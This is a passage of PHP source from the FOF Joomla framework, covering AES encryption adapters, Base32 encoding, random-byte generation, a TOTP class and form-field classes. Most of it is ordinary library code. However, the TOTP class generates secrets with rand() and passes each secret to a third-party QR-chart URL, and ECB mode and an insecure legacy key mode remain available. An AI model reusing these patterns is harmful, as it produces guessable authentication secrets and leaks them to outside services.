switch ((int) $strength)
{
default:
case '128':
$this->cipherType = MCRYPT_RIJNDAEL_128;
break;
case '192':
$this->cipherType = MCRYPT_RIJNDAEL_192;
break;
case '256':
$this->cipherType = MCRYPT_RIJNDAEL_256;
break;
}
switch (strtolower($mode))
{
case 'ecb':
$this->cipherMode = MCRYPT_MODE_ECB;
break;
default:
case 'cbc':
$this->cipherMode = MCRYPT_MODE_CBC;
break;
}
}
public function encrypt($plainText, $key, $iv = null)
{
$iv_size = $this->getBlockSize();
$key = $this->resizeKey($key, $iv_size);
$iv = $this->resizeKey($iv, $iv_size);
if (empty($iv))
{
$randVal = new FOFEncryptRandval();
$iv = $randVal->generate($iv_size);
}
$cipherText = mcrypt_encrypt($this->cipherType, $key, $plainText,
$this->cipherMode, $iv);
$cipherText = $iv . $cipherText;
return $cipherText;
}
public function decrypt($cipherText, $key)
{
$iv_size = $this->getBlockSize();
$key = $this->resizeKey($key, $iv_size);
$iv = substr($cipherText, 0, $iv_size);
$cipherText = substr($cipherText, $iv_size);
$plainText = mcrypt_decrypt($this->cipherType, $key, $cipherText,
$this->cipherMode, $iv);
return $plainText;
}
public function isSupported(FOFUtilsPhpfunc $phpfunc = null)
{
if (!is_object($phpfunc) || !($phpfunc instanceof $phpfunc))
{
$phpfunc = new FOFUtilsPhpfunc();
}
if (!$phpfunc->function_exists('mcrypt_get_key_size'))
{
return false;
}
if (!$phpfunc->function_exists('mcrypt_get_iv_size'))
{
return false;
}
if (!$phpfunc->function_exists('mcrypt_create_iv'))
{
return false;
}
if (!$phpfunc->function_exists('mcrypt_encrypt'))
{
return false;
}
if (!$phpfunc->function_exists('mcrypt_decrypt'))
{
return false;
}
if (!$phpfunc->function_exists('mcrypt_list_algorithms'))
{
return false;
}
if (!$phpfunc->function_exists('hash'))
{
return false;
}
if (!$phpfunc->function_exists('hash_algos'))
{
return false;
}
$algorightms = $phpfunc->mcrypt_list_algorithms();
if (!in_array('rijndael-128', $algorightms))
{
return false;
}
if (!in_array('rijndael-192', $algorightms))
{
return false;
}
if (!in_array('rijndael-256', $algorightms))
{
return false;
}
$algorightms = $phpfunc->hash_algos();
if (!in_array('sha256', $algorightms))
{
return false;
}
return true;
}
public function getBlockSize()
{
return mcrypt_get_iv_size($this->cipherType, $this->cipherMode);
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
class FOFEncryptAesOpenssl extends FOFEncryptAesAbstract implements
FOFEncryptAesInterface
{
/**
* The OpenSSL options for encryption / decryption
*
* @var int
*/
protected $openSSLOptions = 0;
/**
* The encryption method to use
*
* @var string
*/
protected $method = 'aes-128-cbc';
public function __construct()
{
$this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING;
}
public function setEncryptionMode($mode = 'cbc', $strength =
128)
{
static $availableAlgorithms = null;
static $defaultAlgo = 'aes-128-cbc';
if (!is_array($availableAlgorithms))
{
$availableAlgorithms = openssl_get_cipher_methods();
foreach (array('aes-256-cbc', 'aes-256-ecb',
'aes-192-cbc',
'aes-192-ecb', 'aes-128-cbc',
'aes-128-ecb') as $algo)
{
if (in_array($algo, $availableAlgorithms))
{
$defaultAlgo = $algo;
break;
}
}
}
$strength = (int) $strength;
$mode = strtolower($mode);
if (!in_array($strength, array(128, 192, 256)))
{
$strength = 256;
}
if (!in_array($mode, array('cbc', 'ebc')))
{
$mode = 'cbc';
}
$algo = 'aes-' . $strength . '-' . $mode;
if (!in_array($algo, $availableAlgorithms))
{
$algo = $defaultAlgo;
}
$this->method = $algo;
}
public function encrypt($plainText, $key, $iv = null)
{
$iv_size = $this->getBlockSize();
$key = $this->resizeKey($key, $iv_size);
$iv = $this->resizeKey($iv, $iv_size);
if (empty($iv))
{
$randVal = new FOFEncryptRandval();
$iv = $randVal->generate($iv_size);
}
$plainText .= $this->getZeroPadding($plainText, $iv_size);
$cipherText = openssl_encrypt($plainText, $this->method, $key,
$this->openSSLOptions, $iv);
$cipherText = $iv . $cipherText;
return $cipherText;
}
public function decrypt($cipherText, $key)
{
$iv_size = $this->getBlockSize();
$key = $this->resizeKey($key, $iv_size);
$iv = substr($cipherText, 0, $iv_size);
$cipherText = substr($cipherText, $iv_size);
$plainText = openssl_decrypt($cipherText, $this->method, $key,
$this->openSSLOptions, $iv);
return $plainText;
}
public function isSupported(FOFUtilsPhpfunc $phpfunc = null)
{
if (!is_object($phpfunc) || !($phpfunc instanceof $phpfunc))
{
$phpfunc = new FOFUtilsPhpfunc();
}
if
(!$phpfunc->function_exists('openssl_get_cipher_methods'))
{
return false;
}
if
(!$phpfunc->function_exists('openssl_random_pseudo_bytes'))
{
return false;
}
if (!$phpfunc->function_exists('openssl_cipher_iv_length'))
{
return false;
}
if (!$phpfunc->function_exists('openssl_encrypt'))
{
return false;
}
if (!$phpfunc->function_exists('openssl_decrypt'))
{
return false;
}
if (!$phpfunc->function_exists('hash'))
{
return false;
}
if (!$phpfunc->function_exists('hash_algos'))
{
return false;
}
$algorightms = $phpfunc->openssl_get_cipher_methods();
if (!in_array('aes-128-cbc', $algorightms))
{
return false;
}
$algorightms = $phpfunc->hash_algos();
if (!in_array('sha256', $algorightms))
{
return false;
}
return true;
}
/**
* @return int
*/
public function getBlockSize()
{
return openssl_cipher_iv_length($this->method);
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage encrypt
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A simple implementation of AES-128, AES-192 and AES-256 encryption using
the
* high performance mcrypt library.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFEncryptAes
{
/**
* The cipher key.
*
* @var string
*/
protected $key = '';
/**
* The AES encryption adapter in use.
*
* @var FOFEncryptAesInterface
*/
protected $adapter;
/**
* Initialise the AES encryption object.
*
* Note: If the key is not 16 bytes this class will do a stupid key
expansion for legacy reasons (produce the
* SHA-256 of the key string and throw away half of it).
*
* @param string $key The encryption key (password). It
can be a raw key (16 bytes) or a passphrase.
* @param int $strength Bit strength (128, 192 or 256) –
ALWAYS USE 128 BITS. THIS PARAMETER IS DEPRECATED.
* @param string $mode Encryption mode. Can be ebc or cbc.
We recommend using cbc.
* @param FOFUtilsPhpfunc $phpfunc For testing
* @param string $priority Priority which adapter we should try
first
*/
public function __construct($key, $strength = 128, $mode =
'cbc', FOFUtilsPhpfunc $phpfunc = null, $priority =
'openssl')
{
if ($priority == 'openssl')
{
$this->adapter = new FOFEncryptAesOpenssl();
if (!$this->adapter->isSupported($phpfunc))
{
$this->adapter = new FOFEncryptAesMcrypt();
}
}
else
{
$this->adapter = new FOFEncryptAesMcrypt();
if (!$this->adapter->isSupported($phpfunc))
{
$this->adapter = new FOFEncryptAesOpenssl();
}
}
$this->adapter->setEncryptionMode($mode, $strength);
$this->setPassword($key, true);
}
/**
* Sets the password for this instance.
*
* WARNING: Do not use the legacy mode, it's insecure
*
* @param string $password The password (either user-provided password
or binary encryption key) to use
* @param bool $legacyMode True to use the legacy key expansion. We
recommend against using it.
*/
public function setPassword($password, $legacyMode = false)
{
$this->key = $password;
$passLength = strlen($password);
if (function_exists('mb_strlen'))
{
$passLength = mb_strlen($password, 'ASCII');
}
// Legacy mode was doing something stupid, requiring a key of 32 bytes.
DO NOT USE LEGACY MODE!
if ($legacyMode && ($passLength != 32))
{
// Legacy mode: use the sha256 of the password
$this->key = hash('sha256', $password, true);
// We have to trim or zero pad the password (we end up throwing half of
it away in Rijndael-128 / AES...)
$this->key = $this->adapter->resizeKey($this->key,
$this->adapter->getBlockSize());
}
}
/**
* Encrypts a string using AES
*
* @param string $stringToEncrypt The plaintext to encrypt
* @param bool $base64encoded Should I Base64-encode the result?
*
* @return string The cryptotext. Please note that the first 16 bytes
of
* the raw string is the IV (initialisation vector)
which
* is necessary for decoding the string.
*/
public function encryptString($stringToEncrypt, $base64encoded = true)
{
$blockSize = $this->adapter->getBlockSize();
$randVal = new FOFEncryptRandval();
$iv = $randVal->generate($blockSize);
$key = $this->getExpandedKey($blockSize, $iv);
$cipherText = $this->adapter->encrypt($stringToEncrypt, $key, $iv);
// Optionally pass the result through Base64 encoding
if ($base64encoded)
{
$cipherText = base64_encode($cipherText);
}
// Return the result
return $cipherText;
}
/**
* Decrypts a ciphertext into a plaintext string using AES
*
* @param string $stringToDecrypt The ciphertext to decrypt. The first
16 bytes of the raw string must contain
* the IV (initialisation vector).
* @param bool $base64encoded Should I Base64-decode the data before
decryption?
*
* @return string The plain text string
*/
public function decryptString($stringToDecrypt, $base64encoded = true)
{
if ($base64encoded)
{
$stringToDecrypt = base64_decode($stringToDecrypt);
}
// Extract IV
$iv_size = $this->adapter->getBlockSize();
$iv = substr($stringToDecrypt, 0, $iv_size);
$key = $this->getExpandedKey($iv_size, $iv);
// Decrypt the data
$plainText = $this->adapter->decrypt($stringToDecrypt, $key);
return $plainText;
}
/**
* Is AES encryption supported by this PHP installation?
*
* @param FOFUtilsPhpfunc $phpfunc
*
* @return boolean
*/
public static function isSupported(FOFUtilsPhpfunc $phpfunc = null)
{
if (!is_object($phpfunc) || !($phpfunc instanceof $phpfunc))
{
$phpfunc = new FOFUtilsPhpfunc();
}
$adapter = new FOFEncryptAesMcrypt();
if (!$adapter->isSupported($phpfunc))
{
$adapter = new FOFEncryptAesOpenssl();
}
if (!$adapter->isSupported($phpfunc))
{
return false;
}
if (!$phpfunc->function_exists('base64_encode'))
{
return false;
}
if (!$phpfunc->function_exists('base64_decode'))
{
return false;
}
if (!$phpfunc->function_exists('hash_algos'))
{
return false;
}
$algorightms = $phpfunc->hash_algos();
if (!in_array('sha256', $algorightms))
{
return false;
}
return true;
}
/**
* @param $blockSize
* @param $iv
*
* @return string
*/
public function getExpandedKey($blockSize, $iv)
{
$key = $this->key;
$passLength = strlen($key);
if (function_exists('mb_strlen'))
{
$passLength = mb_strlen($key, 'ASCII');
}
if ($passLength != $blockSize)
{
$iterations = 1000;
$salt = $this->adapter->resizeKey($iv, 16);
$key = hash_pbkdf2('sha256', $this->key, $salt,
$iterations, $blockSize, true);
}
return $key;
}
}
if (!function_exists('hash_pbkdf2'))
{
function hash_pbkdf2($algo, $password, $salt, $count, $length = 0,
$raw_output = false)
{
if (!in_array(strtolower($algo), hash_algos()))
{
trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: '
. $algo, E_USER_WARNING);
}
if (!is_numeric($count))
{
trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long,
' . gettype($count) . ' given', E_USER_WARNING);
}
if (!is_numeric($length))
{
trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long,
' . gettype($length) . ' given', E_USER_WARNING);
}
if ($count <= 0)
{
trigger_error(__FUNCTION__ . '(): Iterations must be a positive
integer: ' . $count, E_USER_WARNING);
}
if ($length < 0)
{
trigger_error(__FUNCTION__ . '(): Length must be greater than or
equal to 0: ' . $length, E_USER_WARNING);
}
$output = '';
$block_count = $length ? ceil($length / strlen(hash($algo, '',
$raw_output))) : 1;
for ($i = 1; $i <= $block_count; $i++)
{
$last = $xorsum = hash_hmac($algo, $salt . pack('N', $i),
$password, true);
for ($j = 1; $j < $count; $j++)
{
$xorsum ^= ($last = hash_hmac($algo, $last, $password, true));
}
$output .= $xorsum;
}
if (!$raw_output)
{
$output = bin2hex($output);
}
return $length ? substr($output, 0, $length) : $output;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage encrypt
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* FOFEncryptBase32
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFEncryptBase32
{
/**
* CSRFC3548
*
* The character set as defined by RFC3548
* @link http://www.ietf.org/rfc/rfc3548.txt
*/
const CSRFC3548 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
/**
* str2bin
*
* Converts any ascii string to a binary string
*
* @param string $str The string you want to convert
*
* @return string String of 0's and 1's
*/
private function str2bin($str)
{
$chrs = unpack('C*', $str);
return vsprintf(str_repeat('%08b', count($chrs)), $chrs);
}
/**
* bin2str
*
* Converts a binary string to an ascii string
*
* @param string $str The string of 0's and 1's you want to
convert
*
* @return string The ascii output
*
* @throws Exception
*/
private function bin2str($str)
{
if (strlen($str) % 8 > 0)
{
throw new Exception('Length must be divisible by 8');
}
if (!preg_match('/^[01]+$/', $str))
{
throw new Exception('Only 0\'s and 1\'s are
permitted');
}
preg_match_all('/.{8}/', $str, $chrs);
$chrs = array_map('bindec', $chrs[0]);
// I'm just being slack here
array_unshift($chrs, 'C*');
return call_user_func_array('pack', $chrs);
}
/**
* fromBin
*
* Converts a correct binary string to base32
*
* @param string $str The string of 0's and 1's you want to
convert
*
* @return string String encoded as base32
*
* @throws exception
*/
private function fromBin($str)
{
if (strlen($str) % 8 > 0)
{
throw new Exception('Length must be divisible by 8');
}
if (!preg_match('/^[01]+$/', $str))
{
throw new Exception('Only 0\'s and 1\'s are
permitted');
}
// Base32 works on the first 5 bits of a byte, so we insert blanks to pad
it out
$str = preg_replace('/(.{5})/', '000$1', $str);
// We need a string divisible by 5
$length = strlen($str);
$rbits = $length & 7;
if ($rbits > 0)
{
// Excessive bits need to be padded
$ebits = substr($str, $length - $rbits);
$str = substr($str, 0, $length - $rbits);
$str .= "000$ebits" . str_repeat('0', 5 -
strlen($ebits));
}
preg_match_all('/.{8}/', $str, $chrs);
$chrs = array_map(array($this, '_mapcharset'), $chrs[0]);
return join('', $chrs);
}
/**
* toBin
*
* Accepts a base32 string and returns an ascii binary string
*
* @param string $str The base32 string to convert
*
* @return string Ascii binary string
*
* @throws Exception
*/
private function toBin($str)
{
if (!preg_match('/^[' . self::CSRFC3548 . ']+$/',
$str))
{
throw new Exception('Must match character set');
}
// Convert the base32 string back to a binary string
$str = join('', array_map(array($this, '_mapbin'),
str_split($str)));
// Remove the extra 0's we added
$str = preg_replace('/000(.{5})/', '$1', $str);
// Unpad if nessicary
$length = strlen($str);
$rbits = $length & 7;
if ($rbits > 0)
{
$str = substr($str, 0, $length - $rbits);
}
return $str;
}
/**
* fromString
*
* Convert any string to a base32 string
* This should be binary safe...
*
* @param string $str The string to convert
*
* @return string The converted base32 string
*/
public function encode($str)
{
return $this->fromBin($this->str2bin($str));
}
/**
* toString
*
* Convert any base32 string to a normal sctring
* This should be binary safe...
*
* @param string $str The base32 string to convert
*
* @return string The normal string
*/
public function decode($str)
{
$str = strtoupper($str);
return $this->bin2str($this->tobin($str));
}
/**
* _mapcharset
*
* Used with array_map to map the bits from a binary string
* directly into a base32 character set
*
* @param string $str The string of 0's and 1's you want to
convert
*
* @return string Resulting base32 character
*
* @access private
*/
private function _mapcharset($str)
{
// Huh!
$x = self::CSRFC3548;
return $x[bindec($str)];
}
/**
* _mapbin
*
* Used with array_map to map the characters from a base32
* character set directly into a binary string
*
* @param string $chr The caracter to map
*
* @return string String of 0's and 1's
*
* @access private
*/
private function _mapbin($chr)
{
return sprintf('%08b', strpos(self::CSRFC3548, $chr));
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generates cryptographically-secure random values.
*/
class FOFEncryptRandval implements FOFEncryptRandvalinterface
{
/**
* @var FOFUtilsPhpfunc
*/
protected $phpfunc;
/**
*
* Constructor.
*
* @param FOFUtilsPhpfunc $phpfunc An object to intercept PHP function
calls;
* this makes testing easier.
*
*/
public function __construct(FOFUtilsPhpfunc $phpfunc = null)
{
if (!is_object($phpfunc) || !($phpfunc instanceof FOFUtilsPhpfunc))
{
$phpfunc = new FOFUtilsPhpfunc();
}
$this->phpfunc = $phpfunc;
}
/**
*
* Returns a cryptographically secure random value.
*
* @param integer $bytes How many bytes to return
*
* @return string
*/
public function generate($bytes = 32)
{
if ($this->phpfunc->extension_loaded('openssl')
&& (version_compare(PHP_VERSION, '5.3.4') >= 0 ||
IS_WIN))
{
$strong = false;
$randBytes = openssl_random_pseudo_bytes($bytes, $strong);
if ($strong)
{
return $randBytes;
}
}
if ($this->phpfunc->extension_loaded('mcrypt'))
{
return $this->phpfunc->mcrypt_create_iv($bytes,
MCRYPT_DEV_URANDOM);
}
return $this->genRandomBytes($bytes);
}
/**
* Generate random bytes. Adapted from Joomla! 3.2.
*
* @param integer $length Length of the random data to generate
*
* @return string Random binary data
*/
public function genRandomBytes($length = 32)
{
$length = (int) $length;
$sslStr = '';
/*
* Collect any entropy available in the system along with a number
* of time measurements of operating system randomness.
*/
$bitsPerRound = 2;
$maxTimeMicro = 400;
$shaHashLength = 20;
$randomStr = '';
$total = $length;
// Check if we can use /dev/urandom.
$urandom = false;
$handle = null;
// This is PHP 5.3.3 and up
if
($this->phpfunc->function_exists('stream_set_read_buffer')
&& @is_readable('/dev/urandom'))
{
$handle = @fopen('/dev/urandom', 'rb');
if ($handle)
{
$urandom = true;
}
}
while ($length > strlen($randomStr))
{
$bytes = ($total > $shaHashLength)? $shaHashLength : $total;
$total -= $bytes;
/*
* Collect any entropy available from the PHP system and filesystem.
* If we have ssl data that isn't strong, we use it once.
*/
$entropy = rand() . uniqid(mt_rand(), true) . $sslStr;
$entropy .= implode('', @fstat(fopen(__FILE__,
'r')));
$entropy .= memory_get_usage();
$sslStr = '';
if ($urandom)
{
stream_set_read_buffer($handle, 0);
$entropy .= @fread($handle, $bytes);
}
else
{
/*
* There is no external source of entropy so we repeat calls
* to mt_rand until we are assured there's real randomness in
* the result.
*
* Measure the time that the operations will take on average.
*/
$samples = 3;
$duration = 0;
for ($pass = 0; $pass < $samples; ++$pass)
{
$microStart = microtime(true) * 1000000;
$hash = sha1(mt_rand(), true);
for ($count = 0; $count < 50; ++$count)
{
$hash = sha1($hash, true);
}
$microEnd = microtime(true) * 1000000;
$entropy .= $microStart . $microEnd;
if ($microStart >= $microEnd)
{
$microEnd += 1000000;
}
$duration += $microEnd - $microStart;
}
$duration = $duration / $samples;
/*
* Based on the average time, determine the total rounds so that
* the total running time is bounded to a reasonable number.
*/
$rounds = (int) (($maxTimeMicro / $duration) * 50);
/*
* Take additional measurements. On average we can expect
* at least $bitsPerRound bits of entropy from each measurement.
*/
$iter = $bytes * (int) ceil(8 / $bitsPerRound);
for ($pass = 0; $pass < $iter; ++$pass)
{
$microStart = microtime(true);
$hash = sha1(mt_rand(), true);
for ($count = 0; $count < $rounds; ++$count)
{
$hash = sha1($hash, true);
}
$entropy .= $microStart . microtime(true);
}
}
$randomStr .= sha1($entropy, true);
}
if ($urandom)
{
@fclose($handle);
}
return substr($randomStr, 0, $length);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
interface FOFEncryptRandvalinterface
{
/**
*
* Returns a cryptographically secure random value.
*
* @return string
*
*/
public function generate();
}<?php
/**
* @package FrameworkOnFramework
* @subpackage encrypt
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* This class provides an RFC6238-compliant Time-based One Time Passwords,
* compatible with Google Authenticator (with PassCodeLength = 6 and
TimePeriod = 30).
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFEncryptTotp
{
private $_passCodeLength = 6;
private $_pinModulo;
private $_secretLength = 10;
private $_timeStep = 30;
private $_base32 = null;
/**
* Initialises an RFC6238-compatible TOTP generator. Please note that this
* class does not implement the constraint in the last paragraph of §5.2
* of RFC6238. It's up to you to ensure that the same user/device
does not
* retry validation within the same Time Step.
*
* @param int $timeStep The Time Step (in seconds). Use 30 to
be compatible with Google Authenticator.
* @param int $passCodeLength The generated passcode length.
Default: 6 digits.
* @param int $secretLength The length of the secret key.
Default: 10 bytes (80 bits).
* @param Object $base32 The base32 en/decrypter
*/
public function __construct($timeStep = 30, $passCodeLength = 6,
$secretLength = 10, $base32=null)
{
$this->_timeStep = $timeStep;
$this->_passCodeLength = $passCodeLength;
$this->_secretLength = $secretLength;
$this->_pinModulo = pow(10, $this->_passCodeLength);
if (is_null($base32))
{
$this->_base32 = new FOFEncryptBase32;
}
else
{
$this->_base32 = $base32;
}
}
/**
* Get the time period based on the $time timestamp and the Time Step
* defined. If $time is skipped or set to null the current timestamp will
* be used.
*
* @param int|null $time Timestamp
*
* @return int The time period since the UNIX Epoch
*/
public function getPeriod($time = null)
{
if (is_null($time))
{
$time = time();
}
$period = floor($time / $this->_timeStep);
return $period;
}
/**
* Check is the given passcode $code is a valid TOTP generated using
secret
* key $secret
*
* @param string $secret The Base32-encoded secret key
* @param string $code The passcode to check
*
* @return boolean True if the code is valid
*/
public function checkCode($secret, $code)
{
$time = $this->getPeriod();
for ($i = -1; $i <= 1; $i++)
{
if ($this->getCode($secret, ($time + $i) * $this->_timeStep) ==
$code)
{
return true;
}
}
return false;
}
/**
* Gets the TOTP passcode for a given secret key $secret and a given UNIX
* timestamp $time
*
* @param string $secret The Base32-encoded secret key
* @param int $time UNIX timestamp
*
* @return string
*/
public function getCode($secret, $time = null)
{
$period = $this->getPeriod($time);
$secret = $this->_base32->decode($secret);
$time = pack("N", $period);
$time = str_pad($time, 8, chr(0), STR_PAD_LEFT);
$hash = hash_hmac('sha1', $time, $secret, true);
$offset = ord(substr($hash, -1));
$offset = $offset & 0xF;
$truncatedHash = $this->hashToInt($hash, $offset) & 0x7FFFFFFF;
$pinValue = str_pad($truncatedHash % $this->_pinModulo,
$this->_passCodeLength, "0", STR_PAD_LEFT);
return $pinValue;
}
/**
* Extracts a part of a hash as an integer
*
* @param string $bytes The hash
* @param string $start The char to start from (0 = first char)
*
* @return string
*/
protected function hashToInt($bytes, $start)
{
$input = substr($bytes, $start, strlen($bytes) - $start);
$val2 = unpack("N", substr($input, 0, 4));
return $val2[1];
}
/**
* Returns a QR code URL for easy setup of TOTP apps like Google
Authenticator
*
* @param string $user User
* @param string $hostname Hostname
* @param string $secret Secret string
*
* @return string
*/
public function getUrl($user, $hostname, $secret)
{
$url = sprintf("otpauth://totp/%s@%s?secret=%s", $user,
$hostname, $secret);
$encoder =
"https://chart.googleapis.com/chart?chs=200x200&chld=Q|2&cht=qr&chl=";
$encoderURL = $encoder . urlencode($url);
return $encoderURL;
}
/**
* Generates a (semi-)random Secret Key for TOTP generation
*
* @return string
*/
public function generateSecret()
{
$secret = "";
for ($i = 1; $i <= $this->_secretLength; $i++)
{
$c = rand(0, 255);
$secret .= pack("c", $c);
}
$base32 = new FOFEncryptBase32;
return $this->_base32->encode($secret);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('accesslevel');
/**
* Form Field class for FOF
* Joomla! access levels
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldAccesslevel extends JFormFieldAccessLevel implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
$params = $this->getOptions();
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select('a.id AS value, a.title AS text');
$query->from('#__viewlevels AS a');
$query->group('a.id, a.title, a.ordering');
$query->order('a.ordering ASC');
$query->order($query->qn('title') . ' ASC');
// Get the options.
$db->setQuery($query);
$options = $db->loadObjectList();
// If params is an array, push these options to the array
if (is_array($params))
{
$options = array_merge($params, $options);
}
// If all levels is allowed, push it into the array.
elseif ($params)
{
array_unshift($options, JHtml::_('select.option',
'', JText::_('JOPTION_ACCESS_SHOW_ALL_LEVELS')));
}
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($options,
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$params = $this->getOptions();
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select('a.id AS value, a.title AS text');
$query->from('#__viewlevels AS a');
$query->group('a.id, a.title, a.ordering');
$query->order('a.ordering ASC');
$query->order($query->qn('title') . ' ASC');
// Get the options.
$db->setQuery($query);
$options = $db->loadObjectList();
// If params is an array, push these options to the array
if (is_array($params))
{
$options = array_merge($params, $options);
}
// If all levels is allowed, push it into the array.
elseif ($params)
{
array_unshift($options, JHtml::_('select.option',
'', JText::_('JOPTION_ACCESS_SHOW_ALL_LEVELS')));
}
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($options,
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for FOF
* Supports a generic list of options.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldActions extends JFormFieldList implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the field configuration
*
* @return array
*/
protected function getConfig()
{
// If no custom options were defined let's figure out which ones of
the
// defaults we shall use...
$config = array(
'published' => 1,
'unpublished' => 1,
'archived' => 0,
'trash' => 0,
'all' => 0,
);
$stack = array();
if (isset($this->element['show_published']))
{
$config['published'] =
FOFStringUtils::toBool($this->element['show_published']);
}
if (isset($this->element['show_unpublished']))
{
$config['unpublished'] =
FOFStringUtils::toBool($this->element['show_unpublished']);
}
if (isset($this->element['show_archived']))
{
$config['archived'] =
FOFStringUtils::toBool($this->element['show_archived']);
}
if (isset($this->element['show_trash']))
{
$config['trash'] =
FOFStringUtils::toBool($this->element['show_trash']);
}
if (isset($this->element['show_all']))
{
$config['all'] =
FOFStringUtils::toBool($this->element['show_all']);
}
return $config;
}
/**
* Method to get the field options.
*
* @since 2.0
*
* @return array The field option objects.
*/
protected function getOptions()
{
return null;
}
/**
* Method to get a
*
* @param string $enabledFieldName Name of the enabled/published field
*
* @return FOFFormFieldPublished Field
*/
protected function getPublishedField($enabledFieldName)
{
$attributes = array(
'name' => $enabledFieldName,
'type' => 'published',
);
if ($this->element['publish_up'])
{
$attributes['publish_up'] = (string)
$this->element['publish_up'];
}
if ($this->element['publish_down'])
{
$attributes['publish_down'] = (string)
$this->element['publish_down'];
}
foreach ($attributes as $name => $value)
{
if (!is_null($value))
{
$renderedAttributes[] = $name . '="' . $value .
'"';
}
}
$publishedXml = new SimpleXMLElement('<field ' .
implode(' ', $renderedAttributes) . ' />');
$publishedField = new FOFFormFieldPublished($this->form);
// Pass required objects to the field
$publishedField->item = $this->item;
$publishedField->rowid = $this->rowid;
$publishedField->setup($publishedXml,
$this->item->{$enabledFieldName});
return $publishedField;
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
throw new Exception(__CLASS__ . ' cannot be used in single item
display forms');
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
